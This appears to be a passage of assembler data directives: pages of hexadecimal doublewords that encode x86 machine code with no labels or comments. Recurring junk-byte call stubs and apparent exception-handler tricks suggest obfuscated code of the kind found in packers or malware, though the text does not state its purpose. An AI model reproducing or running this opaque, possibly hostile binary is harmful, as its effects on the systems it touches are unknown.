		dd 6A0616h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h
		dd 56460000h, 7F16D7C3h, 77BD5489h, 60F9448Bh, 0BE9h, 462FE600h
		dd 56E3FB4h, 4D44CF62h,	34DF8166h, 95FF61CCh, 6133229h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 17h, 6EC35141h
		dd 89D470CFh, 1318F1B5h, 48B58B06h, 6A0616C4h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h
		dd 4ADC350h, 0E702CF90h, 0BD8B98BDh, 61319E5h, 7E8h, 0BE011C00h
		dd 0DF994230h, 160DF9BBh, 858B5F66h, 6130631h, 10E9h, 985B9100h
		dd 0FBFA2B50h, 0C38BD495h, 3C2F452h, 0C486892Dh, 6A000000h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 19042444h
		dd 45000000h, 6847C355h, 0D5BCA9EBh, 31558529h,	9D2B0613h
		dd 6131539h, 1BBD958Bh,	10E90613h, 7E000000h, 564EB263h
		dd 52CCC97Fh, 2B24F137h, 83E0F81Eh, 6A04C2h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 170424h, 52420000h, 0B222F7C3h
		dd 20508957h, 0E853006Ah, 3, 5BC35B20h,	4245C89h, 4244481h
		dd 14h,	0EAC35343h, 0D8E3858Dh,	6A0616h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 247B41C3h
		dd 0F09E9565h, 203D9589h, 86890613h, 0B8h, 30599D8Bh, 6A0613h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 0BBC35747h
		dd 0C454B5FFh, 6A0616h,	3E851h,	59200000h, 4C8959C3h, 44810424h
		dd 1A0424h, 51410000h, 94400AC3h, 7B9B63DDh, 117DBD03h
		dd 95FF0613h, 6131E95h,	35BD8B57h, 5F061305h, 899CB350h
		dd 6A2434h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h
		dd 53430000h, 0D71A29C3h, 0BB663EEBh, 0B5FF220Eh, 616C454h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 9C35545h
		dd 0C1AE4AB8h, 15858912h, 0FF061300h, 13214595h, 21BD8B06h
		dd 83061323h, 131495BDh, 840F0006h, 2Ch, 0F9660B7h, 148Ah
		dd 0DE95100h, 78000000h, 0E49FC798h, 77DFFD3h, 0E2028057h
		dd 0BF66505Fh, 8B967D31h, 131C05BDh, 0D98B6606h, 0C454B5FFh
		dd 6A0616h, 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h
		dd 50400000h, 589527C3h, 96C05AE3h, 95FF9CB0h, 61305ADh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 0C7C35141h
		dd 0B560CC37h, 8B6632D8h, 54B5FFD9h, 6A0616C4h,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 16042444h, 45000000h
		dd 0FCFFC355h, 0FF06B73Ah, 13120995h, 52006A06h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1504h
		dd 0C3524200h, 8B0FA9CAh, 0Ch, 6880Fh, 9D8B0000h, 6131F09h
		dd 511BD83h, 0F020613h,	6A84h, 55006A00h, 3E8h,	0C35D2000h
		dd 246C895Dh, 24448104h, 1504h,	0C3554500h, 858B38A9h
		dd 6130F55h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 19h,	16C35747h, 0D517BA77h, 0C671h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 15h, 0B1C35343h,	91B529EBh, 0C706130Eh
		dd 131E5185h, 6, 0DF8B6600h, 0FFF300E9h, 50006AFFh, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1A04h, 0C3504000h
		dd 188F95DCh, 8B5EFD22h, 52006AC1h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1904h, 0C3524200h, 12F53AEBh, 0BD23811Eh
		dd 6131319h, 68D0Fh, 9D290000h,	6131DADh, 1EA9858Dh, 7E90613h
		dd 66000000h, 0D987C1BDh, 6090AB43h, 0DE9C88Bh,	8D000000h
		dd 9596EF10h, 0B6EB2FC1h, 195246F5h, 6A905061h,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h
		dd 769FC356h, 19599D89h, 6A0613h, 0FD8A006Ah, 910C858Dh
		dd 6A0617h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h
		dd 57470000h, 83FC8BC3h, 6A05C0h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 180424h, 55450000h, 0BBA826C3h, 860F285Ah
		dd 3, 33DEBF0Fh, 1330C19Dh, 8B605006h, 48961F9h, 2D852924h
		dd 6A06132Dh, 68D0F00h,	29000000h, 1320ED95h, 1006A06h
		dd 131AD98Dh, 658D8906h, 0FF06131Fh, 1307F195h,	0F0DF8006h
		dd 0A36A8D8Dh, 85890616h, 613163Dh, 6AD1FFh, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 170424h, 56460000h, 0ADAAB4C3h
		dd 83CB81D7h, 83427837h, 13173DBDh, 850F0106h, 7Eh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 0B9C35646h, 7773EFF3h
		dd 26A64F1h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 16h,	47C35141h, 6690A9E9h, 5072FABFh, 90DF8B66h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Ch, 9C35040h, 0C0930F4Dh
		dd 0BE2F6E49h, 1E9595FFh, 89520613h, 1329659Dh,	48E95F06h
		dd 0E8000010h, 0
		dd 16ED815Dh, 0B7061791h, 974DBB16h, 858D100Ah,	6168F5Eh
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h, 0F9C35242h
		dd 0EE2D55Eh, 0BD8B5B56h, 6130F01h, 238C0F50h, 0E8000000h
		dd 7, 26D0F4F8h, 0E8C176F4h, 10h, 33A11D8Ch, 3B765EA8h
		dd 0D27832EBh, 0ACC74F99h, 4895B5Fh, 50006A24h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1404h,	0C3504000h, 68B0F33h, 0F000000h
		dd 85h,	35FF6400h, 0
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h, 4C35242h
		dd 1759F5EBh, 6EDF8166h, 25896454h, 0
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Dh, 65C35040h
		dd 99F06836h, 91D3D6DDh, 0BD096033h, 6132FDDh, 0D059D89h
		dd 0FF610613h, 1316D985h, 51006A06h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1704h,	0C3514100h, 0B04781D5h
		dd 5E8h, 0E63C4500h, 9D8B2575h,	61334BDh, 6AFF6A5Bh, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h
		dd 1C08C356h, 92BB8A87h, 0FF7EB1D8h, 1331EDB5h,	50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1D04h, 0C3504000h
		dd 0A7D01BE0h, 62D28372h, 95FF3626h, 61331ADh, 132E9h
		dd 0D88B6600h, 0E78100B0h, 24361ADCh, 9D8B70E6h, 6130A0Dh
		dd 0EF8171E4h, 23DD1E12h, 830F613Ch, 10Fh, 69B58951h, 5B06130Eh
		dd 0FC8B60Fh, 6BAFABFh,	8B000000h, 1309E5BDh, 8BB6B706h
		dd 13850FC1h, 0E9000000h, 0Eh, 889D72D1h, 870515EDh, 87B1535Dh
		dd 0E8C1EB49h, 9D8B5004h, 6131B11h, 0E2F7665Fh,	0E8DF8B66h
		dd 9, 1A2F4A9Bh, 0CB2D885Dh, 699D2B03h,	5F061331h, 0B531C82Bh
		dd 61322CDh, 0DF80D18Bh, 10E924h, 5E90000h, 39000000h
		dd 19171E70h, 1BF98589h, 858B0613h, 6130019h, 14E9h, 0C96D7700h
		dd 147D7AE2h, 5B882BAEh, 2CD34301h, 0E366E0DEh,	7C08388h
		dd 5E856h, 0A5220000h, 0E9D4106Ch, 0Bh,	0EC34C62Eh, 0D8456483h
		dd 5F133D22h, 0C0835Fh,	0FD03BF9h, 1783h, 9606000h, 131AE185h
		dd 0EAB96106h, 61159F3Fh, 32E9h, 0F88B6600h, 2CD58D8Bh
		dd 0E1830613h, 20840F01h, 29000000h, 132C618Dh,	0D5A58306h
		dd 0FE06132Ch, 0D480FC60h, 958961F6h, 6130019h,	0E919B7h
		dd 8D000000h, 1713F4B5h, 50006A06h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1A04h, 0C3504000h, 70A98751h, 0FC5D82Eh
		dd 58Fh, 0CB5DBB00h, 0D78044D2h, 0E9006AF5h, 0Eh, 63E001A6h
		dd 448180ECh, 1EAE518Fh, 0E3806CC5h, 0A995FFA5h, 6A06130Dh
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1A042444h
		dd 40000000h, 2198C350h, 4DF3856h, 0C870FBAh, 0F000000h
		dd 681h, 8D858900h, 89061314h, 13054D8Dh, 7CCB906h, 0BD310000h
		dd 6132851h, 0AE9h, 98E6A900h, 17C968F5h, 83F2F51Ah, 0BD8BFCE1h
		dd 61314A1h, 9E9FCh, 673C0000h,	2D7DDD96h, 2B2A62AEh, 0BAC0h
		dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 140424h
		dd 50400000h, 0B70FA7C3h, 6820FFBh, 31000000h, 1306C995h
		dd 0C233AD06h, 0D003E8D1h, 7504E983h, 57006AF4h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1C04h, 0C3574700h
		dd 0E38BB472h, 0BC55CB5Fh, 0DE9C1h, 0CD220000h,	834B9CEBh
		dd 0FF2A3735h, 0E812430Ah, 6, 874D173h,	0CB81F78Bh, 3D0034DEh
		dd 880D5Bh, 6A0000h, 3E856h, 5E200000h,	74895EC3h, 44810424h
		dd 190424h, 56460000h, 1B023BC3h, 0B719370Ah, 11E942h
		dd 0C39F0000h, 36E62F86h, 23BBEFEBh, 0E2DE5E80h, 8B484709h
		dd 131BBD95h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1C04h, 0C3574700h, 1C1C4FE8h, 0F899255Bh, 0EF816655h
		dd 8D8B0498h, 61318DDh,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 14h, 8C35545h, 8BC28B50h, 8BC10318h, 0D1C18B18h
		dd 8BC203E8h, 6A5818h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1A0424h, 53430000h, 0E84259C3h, 0A27C082Fh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 2FC35646h, 95893DD6h
		dd 6131DB9h, 0EE99D29h,	0BD830613h, 6131D1Dh, 34840F00h
		dd 66000000h, 0B8F98Bh,	0F8000000h, 4F8D8D8Dh, 6A0613h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h
		dd 89ED39C3h, 1309BDB5h, 83E1FF06h, 133055BDh, 840F0006h
		dd 53Fh, 9619D31h, 0BD830613h, 6133055h, 47840F01h, 0E9000005h
		dd 7, 45C5C18Bh, 83F9FD5Fh, 133055BDh, 860F0306h, 4F8h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 0F9C35747h
		dd 0F0E22F82h, 0A7BCD393h, 9B5BD8Bh, 9D890613h,	6131F65h
		dd 53006A60h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1B04h
		dd 0C3534300h, 248160D8h, 22B2AFFBh, 12A19D8Bh,	8C660613h
		dd 52006AD9h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1904h
		dd 0C3524200h, 3D010D82h, 0BD8B04F0h, 6130ECDh,	8B04E180h
		dd 1312859Dh, 0FC90A06h, 1F084h, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1404h,	0C3524200h, 0AE9A1h, 0D71B0000h
		dd 53499F02h, 62C745FDh, 2BB9858Bh, 6A0613h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1B0424h, 50400000h, 837D63C3h
		dd 481247h, 11E9FAh, 92730000h,	0AC3C6BEBh, 0DE7328C0h
		dd 0A57FA2FDh, 33E231A7h, 1305B985h, 50006A06h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1604h,	0C3504000h, 669EF94Ch
		dd 501822BFh, 48932B3h,	50006A24h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1B04h, 0C3504000h, 3522A0D2h, 4F06B1D0h
		dd 6AF98B66h, 68A0F00h,	89000000h, 130ECDBDh, 4E806h, 3FF0000h
		dd 5250001Fh, 0FF98B66h, 15BB6631h, 50585AD1h, 14E8h, 800C9A00h
		dd 0C97D21E1h, 460C40D2h, 0F8B604DBh, 0D83EC648h, 448B5FF5h
		dd 0F500424h, 585h, 4CEABB00h, 8B5B5E66h, 0C993BB00h, 44894F05h
		dd 890F0424h, 2, 8B5806B3h, 3D95FFD8h, 6A06130Ah, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1B042444h, 46000000h
		dd 0CC8BC356h, 510994h,	0BD8B6C6Dh, 61324DDh, 0C4548589h
		dd 6A0616h, 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h
		dd 50400000h, 4A4E7EC3h, 0A087E264h, 10E9h, 389DA200h
		dd 7D00C14Ch, 4903BE52h, 0F675115Fh, 10E836h, 99960000h
		dd 8D8DBFCBh, 5C3139E3h, 470B2766h, 0E9606F2Ah,	0Dh, 6333227Eh
		dd 1FFEF111h, 8E7A9D44h, 0E78166E5h, 5F61A0A7h,	206E9h
		dd 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1904h
		dd 0C3564600h, 0ADCEAA37h, 0B70FCD73h, 0BD8960FBh, 6131061h
		dd 4C858B61h, 6A0616C4h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 18042444h, 47000000h, 717BC357h, 604ACAF6h
		dd 38D0Fh, 0B70F0000h, 3DB58BC0h, 61061335h, 1800C7h, 81660000h
		dd 8B7BD1E7h, 16C450B5h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1D04h, 0C3554500h, 0CD47B4AEh, 0B0C0E4BEh
		dd 0BD334E86h, 61300D9h, 2A55858Bh, 6A0613h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 180424h, 53430000h, 0F3367EC3h
		dd 0C7813D62h, 4918E96Fh, 0CF810689h, 4707906Ch, 2BB9858Bh
		dd 81660613h, 891E2BCBh, 9D290446h, 6131D29h, 8B665096h
		dd 8B6696FAh, 4CB5FFF8h, 6A0616C4h, 3E85700h, 20000000h
		dd 895FC35Fh
		dd 8104247Ch, 1D042444h, 47000000h, 0B501C357h,	2A6AA34Fh
		dd 0ACB75034h, 5E9h, 0CE196500h, 0BF0F0A62h, 48A068F9h
		dd 10E99072h, 4000000h,	0A051A936h, 82826A2Bh, 0E0DD6BAAh
		dd 81A8A96Fh, 0BB5F2404h, 10E86FACh, 28000000h,	7405F024h
		dd 0A2655B5Ch, 2CBBDA97h, 0E90F65E6h, 12h, 0F3601A08h
		dd 2D9CF564h, 6070FB77h, 4A72CCE9h, 8D5B6210h, 16C45485h
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1704h
		dd 0C3504000h, 0A6E2BDA1h, 12E9h, 0C7C4D700h, 0E107A70Bh
		dd 1E83DEh, 0DA761F0h, 664063D4h, 0F50FE8Bh, 8Bh, 24048900h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 20C35343h
		dd 918F8458h, 0BD0BE637h, 6132BC1h, 0A3D95FFh, 0DE80613h
		dd 90000000h, 0EB2AEBD3h, 0E148C963h, 3AC915D9h, 16D19D2Bh
		dd 615F0613h, 0E856006Ah, 3, 5EC35E20h,	4247489h, 4244481h
		dd 1Ch,	0A7C35646h, 0D04EE4ECh,	6B3BF6B0h, 18A0Fh, 0C7F50000h
		dd 13305585h, 306h, 0DF8B6600h,	2FE9BD8Bh, 0BD830613h
		dd 616C454h, 4D840F00h,	6A000000h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 52FAC352h
		dd 45E9A5h, 6A0000h, 3E857h, 5F200000h,	7C895FC3h, 44810424h
		dd 1C0424h, 57470000h, 0BCA62AC3h, 1F546308h, 0C381845Ah
		dd 2E6B0112h, 110C3050h, 1114400h, 3010E8C1h, 21144h, 5803114Ch
		dd 7504E983h, 5036EBE7h, 110430h, 0C1011164h, 443010E8h
		dd 64000211h, 83580311h, 0E77504E9h, 0C1501BEBh, 642810E8h
		dd 44300311h, 28580211h, 30011164h, 0E9831104h,	0EBE77504h
		dd 6AC08B00h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1B042444h, 45000000h, 0B22DC355h, 0F4D807A8h, 0B70FB5F0h
		dd 9E9F8h, 938B0000h, 56B77ADCh, 6A56D606h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 2FABC353h
		dd 9D8B0DB5h, 6132879h,	3055BD83h, 0F030613h, 4F785h, 0CDBD8900h
		dd 83061304h, 16C454BDh, 840F0006h, 4E4h, 0E856006Ah, 3
		dd 5EC35E20h, 4247489h,	4244481h, 1Dh, 0BCC35646h, 98DBFA0Bh
		dd 0C7181AD0h, 6642BB1Fh, 0B5FF2145h, 616C454h,	0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 0DFC35141h, 6995FF6Fh
		dd 6A061309h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 19042444h, 40000000h, 6AB3C350h, 6B1210DAh, 1F359D29h
		dd 0B58B0613h, 616C448h, 0E852006Ah, 3,	5AC35A20h, 4245489h
		dd 4244481h, 1Ch, 0F6C35242h, 56B100E5h, 4ADAE448h, 0E84AB160h
		dd 0Bh,	0CA6F6B6Ch, 0B479E519h,	59E01A88h, 106C761h, 60000100h
		dd 0F8F8E681h, 8D0B4C35h, 6131559h, 830F5061h, 0
		dd 66243489h, 0B5FFFE8Bh, 616C454h, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 19h, 94C35040h, 140C4E68h, 0B6BF66FFh
		dd 2995FF10h, 8B061332h, 130645BDh, 0A5BD8B06h,	8B06130Bh
		dd 16C448B5h, 59D8B06h,	8B061312h, 13063185h, 51BD8B06h
		dd 89061320h, 0C486h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1A04h, 0C3564600h, 56E10FEBh, 8B05E8F8h
		dd 131BBD95h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1D04h, 0C3564600h, 419CBF3h,	82363FCCh, 56601B56h, 5BF98B66h
		dd 0C890Fh, 7E90000h, 15000000h, 2EF20BD4h, 6661C44Ah
		dd 819FCF81h, 6A04C283h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1A042444h, 41000000h, 2B08C351h, 1C780C52h
		dd 0D78166D7h, 8D01C8CFh, 6132A29h, 8B205089h, 131BCDBDh
		dd 0E3858D06h, 890616D8h, 130F499Dh, 0B8868906h, 6A000000h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1B042444h
		dd 42000000h, 8290C352h, 471E2020h, 8C0F0F87h, 5, 65C51DBBh
		dd 89006A05h, 132255BDh, 54B5FF06h, 6A0616C4h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h
		dd 4E0C353h, 0E97BAC25h, 0Dh, 0EF84C81h, 5C2AC205h, 0ADC68931h
		dd 9595FFBBh, 6A06131Eh, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 15042444h, 47000000h, 0F6F1C357h,	579BD89h
		dd 9D8B0613h, 61323A5h,	850F5096h, 0Ch,	52505250h, 2 dup(585A310Fh)
		dd 56006A96h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1B04h
		dd 0C3564600h, 0F90882E8h, 0D2E04AE2h, 9E9h, 16AAEF00h
		dd 0DA7CE054h, 0DF8B47F2h, 0C454B5FFh, 6A0616h,	3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h
		dd 0E39123C3h, 9276575Dh, 950158B0h, 61312C9h, 214595FFh
		dd 6A0613h, 3E850h, 58200000h, 448958C3h, 44810424h, 180424h
		dd 50400000h, 66EE30C3h, 0BD839E11h, 6131495h, 71840F00h
		dd 6A000000h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1C042444h, 46000000h, 43CEC356h, 7591BDB6h, 50BF6076h
		dd 0BB565250h, 41F4F7E5h, 0B7310F5Fh, 89585AB3h, 6A2434h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h
		dd 600925C3h, 2A2811C8h, 0F26DF8Ah, 0A82h, 61606000h, 820Fh
		dd 0BF610000h, 4F18C56Dh, 0C454B5FFh, 6A0616h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h
		dd 5AD88DC3h, 0CE8B6B7h, 71000000h, 72F6E92Ah, 82C654BCh
		dd 5BEFE146h, 5AD95FFh,	6A0613h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1B0424h, 51410000h, 83750CC3h, 0E19DB5BFh
		dd 0FF8EB794h, 16C454B5h, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1704h,	0C3564600h, 94F20907h
		dd 120995FFh, 0B4B70613h, 511BD83h, 0F020613h, 7D84h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1C04h, 0C3574700h
		dd 3C8B8F9Eh, 0A456A54Ch, 0D5BD8B01h, 0F806131Ah, 0F55858Bh
		dd 6A0613h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h
		dd 56460000h, 86DD49C3h, 0AC0BE11h, 0DF8B66AEh,	6A0000C6h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 15042444h
		dd 47000000h, 0E242C357h, 800Fh, 85C70000h, 6131E51h, 0
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 15C35545h
		dd 0FFF118E9h, 51006AFFh, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1904h, 0C3514100h, 0FC702715h, 66578A35h
		dd 8B5FF98Bh, 799D8BC1h, 8D06131Eh, 131EA985h, 55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1904h, 0C3554500h
		dd 660C60ADh, 8150F117h, 0A635DE7h, 50905B2Fh, 3D852990h
		dd 6A06131Dh, 0A5BD8B00h, 6A061330h, 2E46BB00h,	858D628Fh
		dd 617A311h, 5618D89h, 83F50613h, 5B5005C0h, 28F0F50h
		dd 8A000000h, 240489D9h, 6AEBB3F9h, 6AF800h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 38C35747h, 6840F8Ch
		dd 9000000h, 13284D95h,	43CB8106h, 0FF5B91B4h, 1307F195h
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1604h
		dd 0C3514100h, 92D09A8h, 1310A595h, 6A8D8D06h, 6A0616A3h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 16042444h
		dd 46000000h, 85E1C356h, 0F6BB66DCh, 6AD1FFEAh,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 15042444h, 40000000h
		dd 1315C350h, 6558509h,	9D890613h, 6130FDDh, 173DBD83h
		dd 0F010613h, 9285h, 57006A00h,	3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1804h, 0C3574700h, 2C44D062h, 7DB50939h
		dd 6A06131Fh, 9D9D3102h, 0BF061322h, 30505ABEh,	89D98B50h
		dd 6A2404h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h
		dd 55450000h, 6D1A1FC3h, 9D8BA2AEh, 61334A9h, 0FFD9B70Fh
		dd 131E9595h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1604h, 0C3574700h, 2B82B891h, 130F41BDh, 2DBD8B06h
		dd 0E906131Fh, 0F0Dh, 0E8h, 0ED815D00h,	617A31Bh, 23C1BD89h
		dd 8B600613h, 131005B5h, 19D3306h, 61061314h, 8F5E858Dh
		dd 6A0616h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h
		dd 56460000h, 3660F7C3h, 504B11BDh, 8B666060h, 8B0FC1h
		dd 61000000h, 3850Fh, 8B660000h, 48961D8h, 51006A24h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1804h, 0C3514100h
		dd 8529F53Bh, 35FF6454h, 0
		dd 8A99D89h, 89640613h,	25h, 0F7816600h, 85FF878Dh, 61316D9h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 6BC35747h
		dd 0CA423373h, 746C491Eh, 6AFF6Ah, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1A0424h, 51410000h, 0B9F048C3h, 56E72521h
		dd 1371B589h, 0B5FF0613h, 613125Dh, 0E160D781h,	95FF7996h
		dd 61331ADh, 147E9h, 758D8900h,	0B006130Bh, 2DBD3300h
		dd 0E606131Ah, 0A5BD8B70h, 0E906132Bh, 0Ch, 9B30ED25h
		dd 0F4883E76h, 0DE1B4A0h, 0BD2B71E4h, 6132565h,	830F613Ch
		dd 110h, 21199D8Bh, 0BE80613h, 4A000000h, 5A856F6Ch, 0D0A8C552h
		dd 8589764Ah, 6131E85h,	0C8B60F5Bh, 9E9h, 40177F00h, 4F748EDBh
		dd 6BAF2E8h, 8B000000h,	6AD781C1h, 606DC877h, 0D5A92DBAh
		dd 0E8C16143h, 66D88A04h, 0FE8BE2F7h, 9D8BC82Bh, 61310B9h
		dd 0E1958960h, 0B906131Dh, 40DC0BF6h, 0BFD18B61h, 44793CD6h
		dd 0C375BB66h, 19E9h, 95036000h, 6130C69h, 0CE9h, 8B17B000h
		dd 419464A4h, 0CB95C06Fh, 858B610Bh, 6131A61h, 83F88B66h
		dd 0C08307C0h, 85895600h, 6130521h, 0FD03B5Fh, 2183h, 1B8FBB00h
		dd 5DE91F6Ch, 9000000h,	13153D9Dh, 830F6006h, 6, 830Fh
		dd 0B70F0000h, 8D8B61F6h, 6133251h, 19599D8Bh, 0E1830613h
		dd 31840F01h, 0E9000000h, 0Eh, 0F8B33BDEh, 3DD8F65Fh, 6E11F81h
		dd 0A583F6FFh, 6133251h, 89BD01FEh, 8906131Ah, 131A6195h
		dd 8B0F06h, 0E9000000h,	0
		dd 1D8BB58Dh, 9D290617h, 6131EBDh, 6A006Ah, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 180424h, 52420000h, 0F53087C3h
		dd 9D8B9690h, 61312A9h,	0DA995FFh, 6A0613h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 170424h, 51410000h, 0CEF2EBC3h
		dd 593FBB45h, 0BD8B5E15h, 613325Dh, 761B9h, 0DEB70F00h
		dd 0EE8h, 832B9700h, 8C11E455h,	1D4FCF93h, 0E92DB8B2h
		dd 11h,	0BCA463D8h, 0E2A09286h,	0B7D1BEBh, 0EE17FD05h
		dd 0E1835FA3h, 56006AFCh, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1504h, 0C3564600h, 6AFC7F21h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1B042444h, 43000000h, 3E19C353h
		dd 0E5D2CC49h, 0B8B764h, 6A000000h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 750CC356h
		dd 9DB5BF83h, 7A0C94E1h, 22C5BD89h, 0BA0613h, 8B000000h
		dd 132981BDh, 0C233AD06h, 0D003E8D1h, 7504E983h, 50006AF4h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1A04h, 0C3504000h
		dd 0D5A0DB22h, 89DB4BD4h, 130B2985h, 50006A06h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1804h,	0C3504000h, 9F3F2B13h
		dd 659D23ECh, 0D061325h, 88h, 21A9BD8Bh, 958B0613h, 6131BBDh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 79C35545h
		dd 2F0CB8BBh, 0E59D8B64h, 8B061320h, 1318DD8Dh,	55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1704h, 0C3554500h
		dd 0DD39B753h, 80BCBB66h, 8B50D98Ah, 3188BC2h, 8B188BC1h
		dd 3E8D1C1h, 58188BC2h,	23D1BD0Bh, 6A0613h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 190424h, 51410000h, 0A2D446C3h
		dd 53CBD3F0h, 0BD835FF5h, 6131D1Dh, 96840F00h, 6A000000h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 19042444h
		dd 43000000h, 21F9C353h, 8A5031E5h, 300D8509h, 0BD090613h
		dd 6130C59h, 0B8h, 0C3816600h, 8D8DC78Fh, 6134F8Dh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 69C35646h, 9B2838B9h
		dd 7EA68CCEh, 6AE1FF10h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 17042444h, 42000000h, 4680C352h, 32BBEA77h
		dd 605C55A4h, 5E9h, 219BD100h, 1FB65F77h, 55BD8361h, 61330h
